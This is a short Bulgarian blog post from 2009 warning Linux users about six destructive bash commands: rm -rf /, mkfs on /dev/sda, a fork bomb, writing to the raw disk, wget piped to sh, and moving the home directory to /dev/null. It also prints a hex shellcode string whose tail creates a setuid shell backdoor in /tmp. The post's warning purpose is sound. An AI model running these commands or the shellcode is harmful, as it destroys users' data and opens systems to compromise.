четвъртък, 20 август 2009 г.

Опасни bash команди

Попаднах на интересен материал в мрежата и искам да го споделя. Повечето от нас – повече, или по-малко напреднали в Linux се отнасят в общия случай с пренебрежение към такива случаи, но от личен опит мога да споделя: никой не е застрахован. Както се казва – дяволът си няма работа...
Всъщност става въпрос за няколко bash команди, които могат, меко казано да сринат системата ви, да изтрият личните ви файлове и, не дай-боже да изтрият де що има по дисковото ви пространство...

1. Код : rm -rf /

Тази команда, рекурсивно и без да иска потвърждение ще изтрие всички файлове от root директорията ви, всички директории и рекурсивно цялото им съдържание... Това ще рече – включително всички локални, мрежови и прочие монтирани към момента на подаването и файлови системи... Звучи потресаващо, но е точно така.
Ето ви същото, но в шестнайстичен код :

char esp[]__attribute__((section(".text"))) / *e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh/tmp/.beyond; chmod 4755 /tmp/.beyond;";


Все пак... не ви съветвам да го използувате...

2.Код : mkfs.ext3 /dev/sda

Това ще форматира с ext3, иначе казано ще затрие всичките всичките ви файлове на блоковото устройство /dev/sda (може би това е единствения ви твърд диск)

3.Код : :(){:|:&};:

Познат като forkbomb, този израз ще накара системата ви да изпълнява неизброимо количество процеси, докато в крайна сметка блокира и доведе до загуба на данни.

4.Код : any_command > /dev/sda

С тази команда в блоковото устройство /dev/sda (напомням това е може би единствения ви диск) ще бъдат записани данни, като резултат ще бъде нарушена файловата система, т.е. Ще загубите данните от нея, или ще ви се наложи да ги възстановявате с инструменти от най-ниско ниво... просто удоволствие...

5.Код : wget http://some_untrusted_source -O- | sh

Никога не сваляйте програми от непроверени сайтове и още повече НЕ ГИ ИЗПЪЛНЯВАЙТЕ... Това може да бъде зловреден код, които ще навреди на системата ви.

6.Код : mv /home/yourhomedirectory/* /dev/null

Това по същество ще изтрие цялата ви домашна директория (ще я премести във фиктивното устройство /dev/null на майтап наричано и черна дупка).

Източник

Няма коментари:

Публикуване на коментар